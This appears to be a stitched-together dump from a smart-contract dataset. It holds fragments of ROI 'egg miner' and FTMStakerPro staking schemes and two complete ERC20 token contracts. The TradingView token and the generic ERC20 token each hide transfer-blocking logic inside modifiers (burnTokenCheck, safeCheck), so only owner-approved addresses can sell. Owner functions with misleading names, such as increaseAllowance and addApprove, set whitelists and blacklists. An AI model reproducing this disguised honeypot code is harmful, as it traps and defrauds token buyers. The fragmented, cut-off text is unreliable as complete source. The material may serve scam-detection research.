require(contractStarted(), "Contract not started yet.");
User storage user = users[msg.sender];
require((block.timestamp - user.lastHatch) >= COMPOUND_STEP, "Tried to sell too early.");
require(user.initialDeposit > 0, "You have not invested yet.");
uint256 hasEggs = getMyEggs();
uint256 eggValue = calculateEggSell(hasEggs);
user.farmerCompoundCount = 0;
user.lastWithdrawTime = block.timestamp;
user.claimedEggs = 0;
user.lastHatch = block.timestamp;
user.roiMultiplier = (user.roiMultiplier * ROI_SELL_PENALTY) / ROI_DIVISOR;
if(getBalance() < eggValue) {
eggValue = getBalance();
}
uint256 eggsPayout = eggValue - payFees(eggValue);
payable(msg.sender).transfer(eggsPayout);
user.totalWithdrawn += eggsPayout;
totalWithdrawn += eggsPayout;
}
function calculatePayFees(uint256 eggValue) internal pure returns(uint256) {
uint256 devtax = (eggValue * DEV) / PERCENTS_DIVIDER;
uint256 mktng = (eggValue * MKT) / PERCENTS_DIVIDER;
uint256 teamtax = (eggValue * TEAM) / PERCENTS_DIVIDER;
return 2*devtax + teamtax + mktng;
}
function hireGardeners(address ref) external payable{
require(contractStarted(), "Contract not started yet.");
User storage user = users[msg.sender];
uint256 amount = msg.value;
require(amount >= MIN_INVEST_LIMIT, "Mininum investment not met.");
require(user.initialDeposit + amount <= WALLET_DEPOSIT_LIMIT, "Max deposit limit reached.");
uint256 netAmount = amount - payFees(amount);
totalStaked += netAmount;
uint256 eggsBought = calculateEggBuy(netAmount, getFairBalance()-netAmount);
// set multiplier to 1 on first buy
if (user.initialDeposit == 0) {
user.roiMultiplier = ROI_SELL_PENALTY;
user.lastHatch = block.timestamp;
}
user.userDeposit += amount;
user.initialDeposit += amount;
user.claimedEggs += eggsBought;
if (user.referrer == address(0)) {
if (ref != msg.sender) {
user.referrer = ref;
}
address upline1 = user.referrer;
if (upline1 != address(0)) {
users[upline1].referralsCount += 1;
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
if (upline != address(0)) {
uint256 refRewards = (amount * REFERRAL) / PERCENTS_DIVIDER;
payable(upline).transfer(refRewards);
users[upline].referralEggRewards += refRewards;
totalRefBonus += refRewards;
}
}
uint256 eggsForCompound = getMyEggs();
user.miners += eggsForCompound / EGGS_TO_HIRE_1MINERS;
user.claimedEggs = 0;
user.userDeposit += calculateEggSell(getEggsSinceLastHatch(msg.sender));
user.lastHatch = block.timestamp;
totalCompound += eggsForCompound;
marketEggs += min(eggsForCompound, type(uint256).max - marketEggs); // for the auditor: this is for the very unlikely case of marketEggs getting close to 10**77
totalDeposits += 1;
}
function payFees(uint256 eggValue) internal returns(uint256){
uint256 devtax = (eggValue * DEV) / PERCENTS_DIVIDER;
uint256 mktng = (eggValue * MKT) / PERCENTS_DIVIDER;
uint256 teamtax = (eggValue * TEAM) / PERCENTS_DIVIDER;
dev1.transfer(devtax);
dev2.transfer(devtax);
team1.transfer(teamtax);
mkt.transfer(mktng);
return 2*devtax + teamtax + mktng;
}
function getUserInfo(address _adr) external view returns(uint256 _initialDeposit, uint256 _userDeposit, uint256 _miners,
uint256 _claimedEggs, uint256 _lastHatch, address _referrer, uint256 _referrals, uint256 _totalWithdrawn, uint256 _referralEggRewards,
uint256 _farmerCompoundCount, uint256 _lastWithdrawTime, uint256 _roiMultiplier) {
_initialDeposit = users[_adr].initialDeposit;
_userDeposit = users[_adr].userDeposit;
_miners = users[_adr].miners;
_claimedEggs = users[_adr].claimedEggs;
_lastHatch = users[_adr].lastHatch;
_referrer = users[_adr].referrer;
_referrals = users[_adr].referralsCount;
_totalWithdrawn = users[_adr].totalWithdrawn;
_referralEggRewards = users[_adr].referralEggRewards;
_farmerCompoundCount = users[_adr].farmerCompoundCount;
_lastWithdrawTime = users[_adr].lastWithdrawTime;
_roiMultiplier = users[_adr].roiMultiplier;
}
function getBalance() public view returns(uint256) {
return address(this).balance;
}
function getFairBalance() public view returns(uint256) {
return totalStaked - min(totalStaked, totalWithdrawn);
}
function getAvailableEarnings(address _adr) external view returns(uint256) {
uint256 userEggs = users[_adr].claimedEggs + getEggsSinceLastHatch(_adr);
return calculateEggSell(userEggs);
}
function calculateTrade(uint256 a, uint256 b, uint256 m) internal pure returns(uint256){
return (a * m) / (NPV_unit + b);
}
function calculateEggSell(uint256 eggs) public view returns(uint256){
uint256 roiMultiplier = users[msg.sender].roiMultiplier * roiBoost;
return calculateTrade((roiMultiplier * eggs) / ROI_DIVISOR, marketEggs, getBalance());
}
function calculateEggBuy(uint256 eth,uint256 contractBalance) public view returns(uint256){
return calculateTrade(eth, contractBalance, marketEggs);
}
function calculateEggBuySimple(uint256 eth) external view returns(uint256){
return calculateEggBuy(eth-calculatePayFees(eth), getFairBalance());
}
function getEggsYield(uint256 amount) external view returns(uint256,uint256) {
uint256 eggsAmount = calculateEggBuy(amount , getFairBalance());
uint256 miners = eggsAmount / EGGS_TO_HIRE_1MINERS;
uint256 day = 1 days;
uint256 eggsPerDay = day * miners;
uint256 earningsPerDay = calculateEggSellForYield(eggsPerDay);
return(miners, earningsPerDay);
}
function calculateEggSellForYield(uint256 eggs) public view returns(uint256){
return calculateTrade(eggs, marketEggs, getBalance());
}
function getSiteInfo() external view returns (uint256 _totalStaked, uint256 _totalDeposits, uint256 _totalCompound, uint256 _totalRefBonus) {
return (totalStaked, totalDeposits, totalCompound, totalRefBonus);
}
function getMyMiners() external view returns(uint256){
return users[msg.sender].miners;
}
function getMyEggs() public view returns(uint256){
return users[msg.sender].claimedEggs + getEggsSinceLastHatch(msg.sender);
}
function getEggsSinceLastHatch(address adr) public view returns(uint256){
uint256 secondsSinceLastHatch = block.timestamp - users[adr].lastHatch;
uint256 cutoffTime = min(secondsSinceLastHatch, CUTOFF_STEP);
uint256 secondsPassed = min(EGGS_TO_HIRE_1MINERS, cutoffTime);
return secondsPassed * (users[adr].miners);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return a < b ? a : b;
}
function setROIBoost(uint256 value) public {
require(msg.sender == owner, "Only admins can do that!");
require(1 <= value && value <= 3, "New value is outside of limits");
roiBoost = value;
}
}
| 88,650 | 12,431 |
a160ff0758ca78db1e9247ba39f7db4e70521e5e6f089c277b660627d2c5ff5f
| 29,234 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/TradingView-0x2f29b4ddddd21ebb2ce0ec50081bfe56b682be3b.sol
| 3,396 | 12,616 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TradingView is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 176,127 | 12,432 |
52bec79ddea0a6c0f4cbdecc7e50bc17e5cdd05938d4ee4583247cdd8be6d7d3
| 12,017 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/ERC20-0x8f96e2f5990fac9af9e286079ce2ab533a4321fe.sol
| 3,202 | 11,894 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_STR(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 185,768 | 12,433 |
9c307b353c56619e63e22a700fa83337908b8d84abe2a698987993e15262b207
| 14,354 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/31/31E8903e1eA6F531eBbbC1dC4429256b9E6BA03a_FTMStakerPro.sol
| 4,521 | 13,428 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
contract FTMStakerPro {
using SafeMath for uint256;
uint256 constant public INVEST_MIN_AMOUNT = 10 ether;
uint256[] public REFERRAL_PERCENTS = [80, 40, 20];
uint256 constant public PROJECT_FEE = 150;
uint256 constant public PERCENT_STEP = 6;
uint256 public WITHDRAW_FEE;
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public TIME_STEP = 1 days;
uint256 constant public MAXIMUM_NUMBER_DEPOSITS = 100;
uint256 public totalStaked;
uint256 public totalRefBonus;
struct Plan {
uint256 time;
uint256 percent;
}
Plan[] internal plans;
struct Deposit {
uint8 plan;
uint256 percent;
uint256 amount;
uint256 profit;
uint256 start;
uint256 finish;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address referrer;
uint256[3] levels;
uint256 bonus;
uint256 totalBonus;
}
mapping (address => User) internal users;
uint256 public startUNIX;
address payable public commissionWallet;
event Newbie(address user);
event NewDeposit(address indexed user, uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor(address payable wallet, uint256 startDate) public {
require(!isContract(wallet));
require(startDate > 0);
commissionWallet = wallet;
startUNIX = startDate;
plans.push(Plan(14, 110));
plans.push(Plan(21, 80));
plans.push(Plan(28, 70));
plans.push(Plan(14, 160));
plans.push(Plan(21, 150));
plans.push(Plan(28, 140));
}
function invest(address referrer, uint8 plan) public payable {
require(msg.value >= INVEST_MIN_AMOUNT,"too small");
require(plan < 6, "Invalid plan");
User storage user = users[msg.sender];
require(user.deposits.length < MAXIMUM_NUMBER_DEPOSITS, "Maximum number of deposits reached.");
uint256 fee = msg.value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
commissionWallet.transfer(fee);
emit FeePayed(msg.sender, fee);
if (user.referrer == address(0)) {
if (users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
users[upline].levels[i] = users[upline].levels[i].add(1);
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 amount = msg.value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
users[upline].totalBonus = users[upline].totalBonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
emit Newbie(msg.sender);
}
(uint256 percent, uint256 profit, uint256 finish) = getResult(plan, msg.value);
user.deposits.push(Deposit(plan, percent, msg.value, profit, block.timestamp, finish));
totalStaked = totalStaked.add(msg.value);
emit NewDeposit(msg.sender, plan, percent, msg.value, profit, block.timestamp, finish);
}
// usePlan setting
function userPlan(address _user , uint256 _index) public view returns(uint8 plan) {
User storage user = users[_user];
plan = user.deposits[_index].plan;
}
// userPlan setting 2
function withdraw() public {
User storage user = users[msg.sender];
if(user.deposits[0].plan == 0) {
WITHDRAW_FEE = 1600;
uint256 totalAmount = getUserDividends(msg.sender);
uint256 fees = totalAmount.mul(WITHDRAW_FEE).div(10000);
totalAmount = totalAmount.sub(fees);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
user.bonus = 0;
totalAmount = totalAmount.add(referralBonus);
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
msg.sender.transfer(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
else if(user.deposits[0].plan == 1) {
WITHDRAW_FEE = 1500;
uint256 totalAmount = getUserDividends(msg.sender);
uint256 fees = totalAmount.mul(WITHDRAW_FEE).div(10000);
totalAmount = totalAmount.sub(fees);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
user.bonus = 0;
totalAmount = totalAmount.add(referralBonus);
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
msg.sender.transfer(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
else if(user.deposits[0].plan == 2) {
WITHDRAW_FEE = 1400;
uint256 totalAmount = getUserDividends(msg.sender);
uint256 fees = totalAmount.mul(WITHDRAW_FEE).div(10000);
totalAmount = totalAmount.sub(fees);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
user.bonus = 0;
totalAmount = totalAmount.add(referralBonus);
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
msg.sender.transfer(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
else if(user.deposits[0].plan == 3) {
WITHDRAW_FEE = 1600;
uint256 totalAmount = getUserDividends(msg.sender);
uint256 fees = totalAmount.mul(WITHDRAW_FEE).div(10000);
totalAmount = totalAmount.sub(fees);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
user.bonus = 0;
totalAmount = totalAmount.add(referralBonus);
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
msg.sender.transfer(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
else if(user.deposits[0].plan == 4) {
WITHDRAW_FEE = 1500;
uint256 totalAmount = getUserDividends(msg.sender);
uint256 fees = totalAmount.mul(WITHDRAW_FEE).div(10000);
totalAmount = totalAmount.sub(fees);
